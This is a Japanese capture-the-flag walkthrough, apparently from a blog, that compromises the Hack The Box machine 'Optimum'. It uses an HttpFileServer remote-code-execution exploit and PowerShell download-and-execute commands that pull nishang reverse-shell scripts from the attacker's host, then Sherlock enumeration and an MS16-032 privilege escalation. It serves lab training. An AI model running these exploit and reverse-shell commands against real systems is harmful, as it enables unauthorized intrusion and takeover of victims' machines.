偵察/スキャン
まずはnmapによる調査を行います。
httpのみ、空いているようです。
Webでアクセスするのと並行していくつか調査を行います。
dirbからは有用な情報は得られませんでした。
niktoでも有用な情報は得られませんでした。
nikto -host http://10.10.10.8
httpでアクセスすると以下のような画面が表示されました。
適当に「Login」等試してみますが、ログインは成功しませんでした。
画面左下にある「HttpFileServer」というキーワードで攻撃コードを検索してみます。
アクセスの取得
攻撃コードを検索します。
リモートから任意のコード実行ができる攻撃コードの様です。
うまく動くかを試してみます。Optimumよりpingを打てるか試してみます。
python3 49125.py 10.10.10.8 80 "ping.exe -n 1 10.10.14.29"
別コンソールでtcpdumpして待ち受けるとpingが届くことが確認できます。
これを使ってシェルを取得したいと思います。
nishangのInvoke-PowerShellTcp.ps1使用してシェルを取得します。
上記を使う際は、ファイルの末尾に自身のIP及びポートを追記します。
上記ファイルを準備した後、kali側でコンソールを3つ動作させます。
1.攻撃コードの実行コンソール
python3 49125.py 10.10.10.8 80 "powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.29/Invoke-PowerShellTcp.ps1')"
2.Invoke-PowerShellTcp.ps1をOptimumにダウンロードさせるためのWebサーバ
sudo python3 -m http.server 80
3.Invoke-PowerShellRcp.ps1の接続を待ち受けるnc(以下の図)
シェルを取得できました。続けて権限昇格を行います。
権限昇格
次に権限昇格を行います。
権限昇格に使えそうな情報を収集するため、「Sherlock.ps1」を使います。
まずはKali上に「Sherlock.ps1」をダウンロードします。
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
この攻撃コードはfunctionごとに脆弱性の調査対象をまとめています。
今回はすべての脆弱性を見つけるようにしました。
提供されている調査対象の確認すべての脆弱性を調査するようにファイルの末尾に追記
Sherlock.ps1を編集後、取得したOptimumのシェルで以下のコマンドを実行します。
PS C:\Users\kostas\Desktop>iex(new-object net.webclient).downloadstring('http://10.10.14.29/Sherlock.ps1')
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
上記の結果より「MS16-032」の脆弱性があることがわかるので、当該脆弱性を利用します。
kali上で「Invoke-MS16032」をダウンロードします。
Invoke-MS16032を編集する前に、すでにダウンロードしている「Invoke-PowerShellTcp.ps1」を別名コピー(実行例では「shellop.ps1」としました。なお、原因等よくわかっていませんが、「Invoke-PowerShellTcp2.ps1」等とするとうまく動かせませんでした。)して、最終行の待ち受けポートを被らないもの(実行例では4445)に変更します。
上記変更後、ダウンロードした「Invoke-MS16032.ps1」の最終行に以下を追記します。
「Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.29/shellop.ps1')"」
上記編集後、OptimumでMS16032を実行します。
kali上でncを実行し、新しいポート(4445)で待ち受けます。
sudo nc -lvnp 4445
最初の実行では以下のようなエラーで権限昇格できませんでした。
PS C:\Users\kostas\Desktop> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29/Invoke-MS16032.ps1')
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[!] No valid thread handles were captured, exiting!
これは、64bitプロセスが無効であるために起きているエラーでした。
そのため、一度Optimumのシェルを切断し、再度以下のコマンドで接続しなおします。
python3 49125.py 10.10.10.8 80 "C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.29/Invoke-PowerShellTcp.ps1')"
※以下の画像は、接続していたOptimumのシェルをCtrl+cで一度切断し、再度待ち受けたコンソールの画面です。
接続しなおしたら再度、MS16032を実行します。
権限昇格ができました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。